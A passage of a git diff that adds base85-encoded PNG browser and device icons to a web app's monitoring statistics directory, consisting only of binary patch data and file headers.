z6F3(gd-H!LL-m}~kLBbJ9y}<kDWE;$^{%&Vk|yO|84EMJ_AFYmWZB6NZpm{itE*@1 zZfRb6seFgU=GT>}TfJr5`9g|U&D#5P_4SEecPuNe$lUs|`^JqMD)KA2RI*<ExiRnH z%ix7db@R{mZMYq{oH2PfPtU0err;k_R!xej*?8>Jj1yO1AHTURscD;2k<x_Cce~f# zT$9EB^3^NbItH7_si9TJ|9x8Rd+b-yp(w+^EQ#7*@=F}E&v8t;+BR+HqqNqY?-B!c zoc^5KyMN2&AK?*^Gw*~uI5;#lw>rhoN=;2w*)2GE+kF*>1`U^%y#A1rH~;*4GApWb zy`gWnNnl^~v_d_v&Y3f3T82#$(Jzv>uIX5Py=}#nhD8^+IZs}06#nw%=jA&utIlah zbm-ev|1hoGw*K;o>o2cKE#cd<Z{PhN#}6KRxaY;cMK2<ynoQ#BH-G#8x^vUou7!;^ zO1do8eLDRkWct4E(N!MZJ$(xg|LmH*Ie&d$?WX*#FErv-oB#W9?cjyiH=mw4*Sp#; zcj?{>Z}R&k&4VXg`&nteR^2@`yJE$<GiT2D&b-{4<Z|-K@d#6fjLVbOp8cs4yy?Q{ z^~-N8nRsERVW&q_<D}kmFW23x)2zIye=O|SwwtNF4O`Y-k)6g@P|%;a^_5P?kpt&H z`>iYpN+}8~SYGb!+P+rKe~PbteWbQ~+w$wG5vy-!dnGSFxYRCOzkT(?+$-M~u35*g znb&vcXVuIlr893h`^1G?l%{l?cTL|ndHeI-5B4v3`gPNxjrEJ~Y`(i;>DIMgQy7b{ z@UMQ6y=Ln+?>P+TzASZ^!0_Wv4a0wx=G&S%CxyP=o*G`ZCUQGN_f?0G*+K;q4pz)O z@$App_Wgk~zAd}*ep}hJWA-uAW0y$pzqO=m=0taQk97w&Y(KZCu%sxYS2kzD<-ExY zm0i})I2Km6*f%M$>GALXPStCt?|Ql5=<&7d*69Qk1n+k*?^rR*GJnoVWr^gaGbc56 zZ+_CZ@%Yr;dvdaK8bIJb0|UdA3n%{n|6exs?N0^<2KEw9Usv|4Jgi&_0zcPw%QG-A z9QAZ@45^qCdUie6p#YJFkHR@(iDrv8D6!qHZTh;m;by|@0)rQw?X%}LNn8`x<LPd` z%ekGyuJPcDyYm-#Zm=@_xi$XRf!|kOetG}%-U0E|{c+Wko6M)akQFTM^vjZ-_fe(# z#i@o|wtG>Nny2&x-t;kX34Ln)YFUXeQ&?`7zK9KfNKZ@KHO;j8V>#LLvU!i6e4J=z zHZf^Iy5OAl4$lb+VyC;Z9Ku7-B`myR_UW;}i7TZK-OtQgAJgPHd+vp(_QZ&3AC`aO ZJtmzK`&zHqjDdlH!PC{xWt~$(695#*ClLSu literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssxpress.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/rssxpress.png new file mode 100644 index 0000000000000000000000000000000000000000..a4c4e02a26fe567897ab061c8f6c8bb4fe47d3d1 GIT binary patch literal 659 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZON^$C2*zYJ< z%D}+n?&;zfQZa}1ptsNE1O|o&|KHzVmmQfX-EVlTjj>YWVVjhY%B+g363s;>7rVvx zRD5`La<RIwaKD<$tQi$XYE4a#ls`6hSgAJ~upYaWyCz%n^}lWZ55I425onpPPC8pv zJnN(yw`AC5gV@tcOK(eNZ%$XMGG3{YDpPc>bn%`|Z?}Bo3Hes`FGpm-G>535_2#9s zb3zM`Xxq>6?2(gh@;x4PYFfpg6-uAhzZYM1TUtWnc3OjBT5R%`we{E8);d<ct74mL zQGPM-l7~pG(^3x;TZ1{Tx}vIoPAusuyuk5&LPLu0%pKDbvJY?5zbbP-D@e&TzWztp z%4^H?;~OU)Iq~u045_RiJ|Yf&$DK|-3_ZSDmTejLwCD4s?>{%b`!Pqazj0U8WiHX{ z%N<x!w%$^Dl_p%EaC*}FH@WL{?(eXQU1|Q!@%WR9PuCCa-z2)wfrE*SL4dC|uC!*e z<LB0-W%`p}%4>z4S>$VKYICpKf|t+MO`^R?Az*bzMBK{0T&ZbReK~n+<Y$P^+?lvl zRqvrjmVsUYn{}#AjMR|{33or$YHri!)2ll*_208l*T}lfUp_v)T#{igH_@Ukc(2@( zKM&qbzO(myQM+2J>caK5Q!Z7!Y+!XWb1Yl(@ACO;p=o0AXSX@~SbSI$-Ct)H5iA<% zGNF*q^6}ijt=8*uBz?DsRTcW$8CMDgIVm_X+}<w#f8KA!84`vJmJB_GN17+jsQ<sG zq%2D*f$7Pd;8QFr4i9Q8zn7J5+<M^x(|u>fr_UVToohAmnfr-zy1);9jSoIwb~#?W R&%nUI;OXk;vd$@?2>{h+CYb;L literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/safari.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/safari.png new file mode 100644 index 0000000000000000000000000000000000000000..683f2ea2bf72347f9e8ceea793bec2c6b651587b GIT binary patch literal 324 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcxL`p6#>c zW?*38EbxddW?<m@0K$w;YfNS^Ffg#BJNh~@Fl_AS{*%bcz`$S-;1l8+n~)e-x2~bE zu)S-N;f$*x3$K>V++VZh=7RS6<x7_?+Ir^r*$aCge0uim+4t|?|NsBLc*;&^1_lO! zk|4j}|EPfBfpV-Q0|P^~r;B4q#Vy7HhW`Hy|Np<7_wN6HhX4O|&YZdbKg0i>$}5d6 z-!uH4v})BVgZT_E)zX$3C+jh6HWVvvl(J@+EGR0JE;gHCW@30^h?^zD%oMlqP%le{ zO;bYML#w$NK53V_gkR!k_{+4X=Cs0nhW{IwXHMV-nLkO{`v3pec1ACM8T~%Wz`(%Z M>FVdQ&MBb@0Qk3vL;wH) literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sagem.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sagem.png new file mode 100644 index 0000000000000000000000000000000000000000..4b05c8173e27994bd2a9b24567cf54416d9508d7 GIT binary patch literal 600 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=5BA3#LWn zGcYjmc)B=-RLoI5;qMU=DAD%uyY2To)>ds^8WTCW7B1ZCal+vaORknUYap9zih#?6 z?xsacw{$INVllq8+kknsYuA!36Ao#ps4u;^h-Z07+m@e~?^K`vzO~@{AGt2A1py5V z9HFe+JQ!3$w$IX9#J~{P(P6s8kbyx|P;f$9$fS~0(dV~|Ijj>|x8~{LpqPmqugXJy z>|<5wxmuMV(tUhJoA74)U+(t$=|!PWeN>uubkr}6Nsc{x_1$0g+1bhJJ&U(CvDEh4 z_wAea{$*Z%=9*K_O?eJ?Em4{5n3Y%iA@$driO=?Rv#&{C?S3pxzUPcD?>s3vZ`-+1 zD^~i2{Oa7l@yVv2hu>PyzyE$$&F@g>Sk*@xHtdUh@uD`YuH?h515bXX1)2u+h916Z zFFpNT&->SsRmT5o)wZS_NKpLy^;+w-y<byj`n-!)i`H>*&Di#0TAkRYpLbqG-T3|_ z);oFb*EKWab-(ia^53zr`<J-!`@QJ%851TrNv!<bS86ur-L2wx&yM`|KizZq#^=KF zlxGhEUY%KZcW&-(ueL{r7{nBhryJ|5UA}&P``39HiEm^=d(y?j>uja|8SUM%sAM18 zL<`aVi&s87b@JM>wp)`p<`%2W70zb;!1!}-ppI+drZYMB!}1asJC&BIhO#!S>T)ZX z)^<$U!C|iO^B0vSAr6{KDxv|UEFluz!OYy}S17vj^aeEkuXR%Yee7PJ4FdxMgQu&X J%Q~loCIC;-6#@VN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/samsung.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/samsung.png new file mode 100644 index 0000000000000000000000000000000000000000..8d14913ac8f948c445b56a9cf76956551985068b GIT binary patch literal 371 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=9whoZW7b z!oa|&?&;zfQZc7D(AV23P{7vsp4>F4v{_p{d^rBFUtA`p`@1nW%I*Kc(Afq&;%k)z zPBN{0@YFrw``+c{%Z_U6E_6>1J3O=4Vvb_y(f<kmltLKK#CCL~t&{3^3KdmonDHWd z*{UT{!2ztss;nLQGdnrVdaU^W#s1!US9Z@2`R0kd>I)S`t{1gePhHP&jZJ*|_wciM z=jCr7U<;G&kW{E}`@8*s<wAp5bLN@<{(CV^^YyY7q1?v`-dE1>oBh3T#}u!d3Qdc` zG-n_4eg5Q4)UsKp(+(Xl%y`wplODDs;=`-0mp%smO{f=7*yMO+S8dLgd4C>y$X4F_ zRAsj}^jzrn@N%uzv%NM4l$4aF{9zKDY3i)>u`AMl;}n7GM(gtreqEj-_@~;pic!6Q c`v=R*gY!Q8^0rrCU|?YIboFyt=akR{0LHMMWdHyG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/seamonkey.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/seamonkey.png new file mode 100644 index 0000000000000000000000000000000000000000..7242ed2e4566d26b7cc01186c68b5d2f6d80712b GIT binary patch literal 429 zcmex=<NpH&0WUXCHwH#V1_nk3Mh1rew;7xnIN8`a*x5Ka*g3ekIJtSn_<4DFc%?-| z1;i9&m6Q}@<>gg0OmtM#4Atf3b!~MGP0g*WtdzCwUF<EKO)Ra<L547LadGkT@JjLX zOPQ<6tD2Jx{vTiv<Y3@q;A3V~Vqg+vWEN!ne}qAdff3|Z1_WSbV*7uDK~;c(iIJI^ zg^3v^!^q6U$|lIbq9`P6n5bkFSlIag2!klPZUz>RZaF~)MrIbcRt8XDFfp?TDH=Hz ze)xZjfrpuqfk}{AkinjzdwP9A%yxc9oml(5mpOD7bH~*kVSX<2d9A^Y?PjaLU2sa> zxy(9WQRM7>(@jPa(^6^#{N*Pu&Z}a2bE^B*mn(|L>uw6(pVFVMu4c%<XZ-%!^ewr@ qF>G54w@EL!`bAMdqU-UT{|xqV=T<C9wP^4td9Ct$N@8Wz|C<2mZ)ec} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharp.png new file mode 100644 index 0000000000000000000000000000000000000000..ee552bdee29169bd0496fed8642ffc3c90412271 GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=9v9M|HpN zWnf^q@9E+gQZZ-iL__bx2?A~Rf6v->rKZG(Wwl0YlU2uDua__UOZD@#@(u=yFJGr= zk+HEiQ}|K&{khJ68BadYJ$~@B9RHprt5%pVQ@hT?yI_@4z4*mCN0ws_tPCOw3@%?| zna|f5*FV{m;Trfp=Ro8=%dYJwyZ6p~BPX<J;S|vwIqroI=0@MWx6?#)`QMi_!Xsa+ z=*^q-=HIRL#v%59HrmaIopG4au=wM)g45-j%w*zso!8(0^Ifms=jYeoeTewvBy)T9 zXRjrl+99DL0SpFgzf}ZX99UQv7_d1sum68JjQNYWpLbq*+P*s>3=9kmp00i_>zopr E02~B;@&Et; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharpreader.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sharpreader.png new file mode 100644 index 0000000000000000000000000000000000000000..845966b5630997033fde17a489f79a1f43d992b8 GIT binary patch literal 651 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blF!Jc@JMRhP zU|?Xf_jGX#shFdB>a=%ApajE*_twwv>@=RXc=8LLj4;0xgR~X8A%{4!t}g0mny}zR z>?L~vR=uW-@GTlAU1vLWbSSjQ-AaCVC84?BWUkBl^M!NfOfOD<c5d(U8r@%O>sN>< zHidK<FPrj5B$oHQ#O?aY|Gd_2-ulufojW<k>!_u(lB#OqIkldg{|{19@|cUFBi=5) zs;QAPFUR`Jhi|=o)6z6mqqdcBip8Cox7YsYo_|GliObEM<}NROUA)`PWUIi+Z!0D) zY+UzEtYpb4@wM9;Pxkhd?NOfMmoBm5)GDpxMvpJwKXW6)aI(#t?=A86X>%TazIfx4 zms-V^lYtRhGiGm`c{jw!?ssza!`&%WORr1+-u&&+*=jcydG%=reE#&+XwLlEvT=fW zooKP<_U&#vY&cekG%l;<b7xh`Ir@0Pl=IQcGxz)pm>~6Pb=K>h0;2nNZQbY?x}|aB z+z>a0hIOCx0tGX8UcIwzn)BwHk^0M(>tZFP4+Zr#v!rIv;Z(9J+mQArJ>}$`TlZ@% z?LJ@i(TV)WT>YK(NuJY!6qSQoGMQNpN>csjzQyc*{*6`U2?vkhikN`ZV1uO8$rDrG z<@D{XI(2H><-2mbN}o>2JoDPm??$A~(w)h>E{OGMUO2Z__j~;QE0;@|WHlQdG%G*9 zTfA_(@`CD;yR8d6ZiN~0x5nJR`q^LZPGXO;pr9aw!lMtj`OmlA*OhubEp;a=w;9{7 zD*Z2UHs9+P1aS#YRZ@C1hw;FdH#JH#KV84JrEM0YgI6m@&&K+nk(Rsp{qr3d7#J8l MUHx3vIVCg!0Ge<vzyJUM literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/shrook.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/shrook.png new file mode 100644 index 0000000000000000000000000000000000000000..193cb337106ada775fa55afe71a0494d34ff7932 GIT binary patch literal 600 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=1!Hg_=9@ zFfcIjc)B=-RLt?6<m)dSDB|$G_Vc}(V73iQS*P^hYVevOrRuiGt=DjYo{vw=ug!nt z^QQJH9t;uch-z{ZGFTgOOVVoYw#$k4&Xfj<&wCp=uQ_v;k`e<$gUXBYn(LomeXY__ zWw@g=-FPOCpy4qKh8^pkSLNOR`smrqL>c2{rB8R}R43k$|5E*0`g})6hlNs|{SEuC zwXq!D#$um}Cr9trmE3Fl=hnA9`qjV7uU|8o8K{($IcbLQ%{^vT+5Uc8C;!=f_QLxY z*QZU-yZ<}%^_$Sw)>CC&RFu>h=gjc^`^R?ESIZ#R&p$8UTHSl>>(Q&~{ai~|I|}60 z-|<@Fa%{#bjb{~V8c$xm?%#VgdP~t$8(((&Rhp0W@9nw9ll}SfyX{$16^j@QWPh(P zk#ERiNesz;QK(=V?3qxs?8AqryB^8?%{1%m5S+O5b=mpwiCcH?efwQLDREoO{{=yv z$vbz{{QTE!y)(zGOKF<W!bLvT%ijEQ)Yq97KBwm3=cdVzA1}D=>as9vXO3Q%QX7lI zl-&jk=a`zD4%!sF_1VoEB?q_gJY8d`{3K}Q6ctYiJ_`kbhQymUGUuA?_Doc44~#p! zRQhP)=>XHSCcdG;rM}M(uQ+kz&YPv@3X^--#dTdd?iR|N-o)!H?o@D&v4L5E!QjZx zq(H%>BS!AWkL6aoa2&j`-@Jo^q2NY&g^$kC2Y>2qQ!@TD<!%19UR=#&DFXuogQu&X J%Q~loCIExX6Ab_W literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/siemens.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/siemens.png new file mode 100644 index 0000000000000000000000000000000000000000..9d82628042615ac670dd68dec92ac27235ecb610 GIT binary patch literal 277 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=9xXF46dW znt_4gq^FBxNX4A36AiNu1&FksuhiFfxiD#kbF39tslb1S|M@TTU+8Pd9*LZ;#I=$0 z#sT9`3d@~6o~OK+$u~X!$Gg2#TIvjKcP3`AESSh5kP*tU;Ps1VEI00(PTHc|b>!BK zTc_Wqos66$v1!d~1<PbP_r;UH3qMz4SpU1Wa)0!v-Rt7Ty0;%z>`iuFxBPN8$L>WD zsW+R8r+lfiseAI%$anv$SC*&G-DB=JF<-#!^Uw5o_Pxi`-?#5znsBA$w9t>&xhj%D i&3Yf~?@KlOW2!a{i&4Ijb&Y|6fx*+&&t;ucLK6US?sty> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sony.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/sony.png new file mode 100644 index 0000000000000000000000000000000000000000..8c182c5a8730f4679e836a1726183adfe8f43812 GIT binary patch literal 1049 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxUzW3uq^XQNh|4D zHfPDLB`j4YSFT-gX-c{B?nzEx&X!$!bkba=Oq#<o%Y`LLrsYu2m1j>_!erjOd*ib% zC1qBNOqI)*Uw?esVp`gIww&9tW!@H<Nij>7t>Ni&nKN(Bn_ExjoSO6G(G!_4oj>3H z#GI;O36f!Hvbl5b4ojX1OPtP^Z(n@+QqG*aGH2Hsm2D*{RW&tTJ#(hb;aL=tv#O+J z(iD|NDNkO#Veyk;sWZ89>yF7JpOUVcJ%^6)%=3{+vYE1P2}_j9mrq|}Hnsfu^=Hkx zElU=yS#xPk%%qw#m#*~m&5>CZlaf`^vTn|rduy&-yJORpa_8NZJ^POM6y;2rwuEJt z4@;8Hoo9Dg!c^Y8`x3IMrDxF`oi3l4rjjkEj;KsaS+i`5NT1J~MN5`kTJq%ClbTa= zSb|honq2POd%{v?!UJ;upO9%KS5947vuTUTww#)(mO0aw=*&xb19GzpOPx(gU&)kH zTmJm}(=%xf!zdVhA#h=P<1_{a2KEw9Usv|4JnTHYLNj?;o-!~n9Q1T?45^rttijHd znr@h`n<~(~aL=8aLDT2Xj=bq}Lh?vyS>P$L=b!ca4ZO?PigMp9x?2-!F=g)NNs~`Y zK5=!5V4B1-h4oFc?9CR57@s*m?uv8=r5u*5`SVBO$(_Y9J5GJ7h&&wZT6|Mt$)g<K zy%Lp|O@e<e5iXS|N|G>+@HUY-)O}T{@{;5!?mw-@k`iYQ>we*hX%w@3HeE|1`ed8P zD{qd*n59o&=AJz%cjSmLV_8b&&RsqQj(b$EoPB!kX#oR+wWHaYP^RBXpiuX8^>bP0 Hl+XkKk;yc8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/staroffice.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/staroffice.png new file mode 100644 index 0000000000000000000000000000000000000000..b9d7778a4ecd0c0dfb44cc281f9c0bcb97d055a9 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcxMRb2mNN z$-uzCS>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e6&fuV(=r3H?U z9Xs});s1Xy{*MhzW`73Ko8al<7*cUd^^7A|g8>iA0a5K|l0i`)BrRRuFh{*`XX%$) z_2lNVS*JH}OIuv4E0|gLRolQ;wKQFGWuwC+XTf8lDtTKEhQ4>veScc8Q=#Ub+_uGr n2g;T(hX;Rs)qi%|Ed9s3<QM<A*L0A9fq}u()z4*}Q$iB}OvY@% literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/subversion.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/subversion.png new file mode 100644 index 0000000000000000000000000000000000000000..d73249539adaa4def588168561f55bb876956d9d GIT binary patch literal 916 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp89SQIWaeeUY<LT=!wjY16 zc>DF<W#<~^ocRC$|F<8%A3pzd`r3=FNAJ(ue6?-isek|ez5V$8>b*C6Pd{3+<9gSU zGw(nBxO(sH?o$sJZoAgL@bs(q-_GB9wdKgYnd>h%%{_Vh@%wk5e*FFS@7M1?_n&<{ zeBtS`T{pTGpJ|zYa_ZWPtM=U5cjnQhJFlO;{_^wJpEn=AoxAyJ!@)a~R-K=?^8B9D zk6yg}`sdHzPhWptx%+0@vHR24U22?jqIurQ8S5^sKX~W(<!9f2{=V_x-HsCvW^TCL zIQPV=y|?Z@`SAV6?;k&Z-+J_J%IXX24%|6;^~IA{pa1;*_vPEKEBD@PK5}o;stcWq z&&=6$rDgu9d0Vc2`26GSjhCzU-r9cb{<ZsW51oI~H1Fh(Uw^JYc)RKFy}o7V4xD@P z=*6eMfBzo2_;mHY+ZS%Vdj0;}?>~QUJ$m1>^z5{?7x$li{OaAehc7-&SaJT(-@n~U z&+a|*=);#E8xG!WUv&D|<!47PJ-dA8&6(>j-o1Nw>C&YO7cRVd_3GEJU$<`E`taey zwQJXY{P^+g*|RHGuH3nE=i9e$Po6xvapT5=2M@k{`Lh1NonOEIF4}(m-KX!fHe5b- z>DkZUe@<L^{`u?Ajzy;zY`r#X)~uN`XKvoSdEUHvbLPxhw{G31PoLhrd9!QRu2rj6 z{rU6f(W6IOwrtt9ZQH$j_YNF5aN@*?MT-{g+qZAQf(2{#-ELiQYU-McFW-HA_U6mh zqxaetoH}yk$gyL`R;*aDW5<qnAHTo<{A0%YOQ%kq+OucRh7B8*ELpPQ(B0*`ZZ6qz z<L0Axvo~JpUvX~FsYlC}Eqn3e#mx1WdY7GTntNi!?we=Moca9i*Ug9T?mhjmX3d&i zCm&wE^ZMMmbEmGpICt}9+rrbAZolqca^}>v7l#fV`tkG6ro(ra?YuE(<CO#F9>03` zb>ErCEBD;I@$lW2qxbGT`?zw?t>3@@UVrfJ(1j<9wq0Ak`{wb>&$l1HfBxpH=J_WN zoPB)xa85J>0|RG)M`SSr1J?%-W^`I(GJ}DEfxX1j*OmPmqX;9H)+xL1jSLJ7$(}Bb zAsp9}6I>bi%*@y%ew#{5-!=^6_^u~?+uMNo2y55jD+Ub~4-4M%ILuS)c=(VvWn<$G z4~BELE6X|0nBHW)e4;HyKbuWDT1mTS_Mv0XSd1(uh~7+NGc{8QZ+Ii>^of<>{v)2( V*VPKT85kHCJYD@<);T3K0RV#Seh2^n literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/teleport.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/teleport.png new file mode 100644 index 0000000000000000000000000000000000000000..dceba90acb30d9126f3fb25ebeece7d029c6e0ae GIT binary patch literal 228 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?OFpDzrD%B?P zF)%Q27I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|=u^@Ck8cU}#}r_)k1o zQfuJJz`$Vc>EaktaVz-;KO+yvuf+=%*i87Rap1rKjq@MmJs2f<<QtbPP+;yzOGyxD m_?-Bu;H$x3iDylW3}1Gd99ix(=LrJ?1B0ilpUXO@geCw$!(dGS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/trium.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/trium.png new file mode 100644 index 0000000000000000000000000000000000000000..e6d07f6567fe2f8ead0a312215c8a103476ead47 GIT binary patch literal 424 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blu=8<PUGnZR zVPIg4@pN$vshHC{@nF^=2Z6To@Z=zal&wy-9HB=R9e<^`^cPc-zGcOl^!Z2ByTauc z2(flw30|t^6qI?&O{91BUAdq|N1gxjGaG+CZ&1T*`TT*=(evKV4+|VxY?@VkPO&9X zUnrT!i9>T~VxK^lOpCzz&kPKkbdr1O%jdtlowt2is-EuY(*3T1EDgV_<2_W0cHW6y zDI(9qw(q@nc+lUCejGFRo>gdiTlV`)!_`-xPnRb5x-Gu`T9k`*O~NsWV;048Z~p$5 zw>^6O^(mK5zE){VntfL7UXB^>;TJaLCcdxBb}zo@5qkAwMU39`+}qFQ?B!{nA{S)Q z`>QrKaLUg=dn0tRW<9egvzj~0Z~3lu;aZ}{%jQL`eO0?QZ0*6LkDLWsQi8s5>^zyK zdwI{<=e&m(d|9xHe_5v2Bng(DVm|-I_JG3@OOLy=I12o0F76ZH$}~Rabm`&;`E~!f fVqY*b{9))kvn!qJy&g9M0|SGntDnm{r-UW|U*)+2 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/unknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..895b771387e91f850ff65e3f49f0231ee0a88ffe GIT binary patch literal 218 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc^c7o~yyYz`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZk(Gggfi1u%#P$FG{|pQap@%NlF)%PNmIV0)GdMiE zk;cHlpyKJ`7*cU7IiZ2s&5=Wwp+!MYLNQ~8#f+m2QymvxT=I}%CO?B}H^WShHN1Nn Q7#J8lUHx3vIVCg!06uU#kN^Mx literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/w3c.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/w3c.png new file mode 100644 index 0000000000000000000000000000000000000000..d7e90d9794b9a728cf14504fda4fb71cc9fe2ad3 GIT binary patch literal 580 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>blFmjqoT0Qu) zkb!~mho_5UNX4AmiT)Xr5*d!&|Ni&SpTif-wr6U_7oRmVlVWvCS+mjG@wn()35mN* z{nipQ4)V!f=euYqC4KQ=PgJi&uR?L_%!#V2w@vIy^P8?aw|?LETB{q0?XSvzeLV0v zM()&31_jR^ZUHA1H^wb83POvg2%X!h;wh4`bitHK|CM@s<Ga?2vwfdEJ!xfrbm-FC z5$mp`JAFL*;<~wfan#%#bLpn<&RvTPj;*LKbA9^AdtJ@nIFSR3!=*1D+&*=eRb}x` zwI?gH!~fRpKVBSYY?brgNHT8yvsgdxgtFG4UnbLb6;|dPxHnHL>@HuWUA&LVJ@+^_ ziH61Oy65jLef)a%&m7B{TB+Vs<5s`?GIc`rg|O8*{qt?zISS_&csDvQD11J>`fAnY z{oA!CoiPo4Xlc4+x~Vb$qjvrh`NDVE#<M~~QyKi^HmMp%XYc%UrS)<7yc&ssGjpqX zCJV3YoVc%j<Da<QLHQ=Bk!ieBrAuZdx~KPFy^@~2J*vmq%l%96Jb^`5Pt9&+YFu?a zGkfbSHU)-rJF3pO**1JuK9~GA?ETv3eSO=Gx_sMK{^i}BJKy}2W%z{8SvJJH4Bxni zIYIX~v%|07{_np8eK?xV@Y3hl^Ut<%5kEd(%PX^2Z%OFc8pAB$<+<8HQ<On9grk7b nty9I2VNS8v%lNSWNAnw<xau$K2*)xoFfe$!`njxgN@xNA6lMh_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webcopier.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webcopier.png new file mode 100644 index 0000000000000000000000000000000000000000..9a2bffbac9456db67576b9b4b7f127a454720a19 GIT binary patch literal 281 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcxLm6~)EK zGB7Z37I;J!Gca&{0AWU_H6}9{7#LX69eo`c7&i8E|4C$JU|=u^@Ck8c0D%?;hW`vL z3=AzT4F4Gz{{L@jX}Nao+<$B!T_newfq@~%)5S5Q;+E`bL#}2Ak(P&<mw&EPXxjR2 zlJFbeY3$#ePVmZI+jLWRaY8}f>tmUA%YHa6v*0**a;E}+L22v+w&ynA(%SByo_ywq z&0)1kAL9<++a~Gxcy0JvDZZ;gn;NCw-oMEE{O|stQ$ebM<&0N+RW`f#@Q8z)>gnp| Jvd$@?2>`}{aQ^@R literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webreaper.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/webreaper.png new file mode 100644 index 0000000000000000000000000000000000000000..c8069131c3c2c8caa54553eb30253fde960c8c4f GIT binary patch literal 676 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bl$nbM=eu_#v z#lXN6;pyTSQZYyMgr|>ipajE%|9dNq--<+Oue^F>g-R1=r*@E@n}cH43PqvhM~oMw zChQK>FH$@*xs!eI4sN*~!^TY^Qbz?iTe}iNMHDqs3m0F}yzz3&=d^pDAC&(IIJIC- zaf^VlZ>;~alSS#(?imIZ%l71Ke}16IX?FkGTe*EQ<!mY|*S$Qs#Bpk<tM`hzvH$MW zR-X@@Ya13N<-ek*_}t6xbo0esO@c~d7o8*ut>%Q?ymjr}?x?y?p0#`TY_j?DP?^c& zMU~6T<!x<@Q$Czucx|H8|JBl6ZOpR!9^Sa+RaN!=N=bfsL(nPTUI9h{<$d!k|0hj8 zY<JuEg{CA&Zqe!Q^4op<YCBi1x|${K`s=~HrAOai=Kj36Y5Aj5Ik);IL`=^tl{`H4 zv2Zs>&q;q{mdPJCPTa9dOeADi?6wfE<AE2uUu?CXU!U^1%5Tv|3Dt-Rs@!ZMoo-T6 